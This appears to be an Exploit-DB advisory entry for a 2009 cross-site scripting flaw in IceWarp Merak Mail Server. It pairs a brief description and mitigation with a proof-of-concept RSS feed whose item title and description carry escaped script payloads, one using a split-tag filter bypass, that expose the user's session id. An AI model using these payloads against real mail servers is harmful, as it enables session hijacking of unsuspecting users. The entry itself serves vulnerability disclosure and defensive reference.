IceWarp Merak Mail Server Cross-Site Scripting Vulnerability

vendor:

Merak Mail Server

by:

SecurityFocus

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: Merak Mail Server

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

IceWarp Merak Mail Server Cross-Site Scripting Vulnerability

IceWarp Merak Mail Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically generate web content.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/34825/info

IceWarp Merak Mail Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
    <title>RedTeam Pentesting</title>
    <link
      href="http://www.example.come"
      rel="self"
      type="application/rss+xml" />
    <link>http://www.example.come</link>
    <description>Seeing your network from the attacker&#039;s perspective</description>
    <pubDate>Mon, 16 Apr 2009 05:23:42 +0000</pubDate>
    <language>de</language>
    <item>
      <title>&lt;script&gt;alert(&#039;Title: Your session id is: &#039; +
window.top.sSID);&lt;/script&gt;</title>
      <link>http://www.example.come/pentest</link>
      <pubDate>Mon, 16 Apr 2009 05:23:42 +0000</pubDate>
      <description>
        &lt;div o&lt;xml&gt;nmouseover=&quot;alert(&#039;Description: Your session id is: &#039; +
window.top.sSID)&quot;&gt;
          RedTeam Pentesting XSS
        &lt;/div&gt;
      </description>
    </item>
  </channel>
</rss>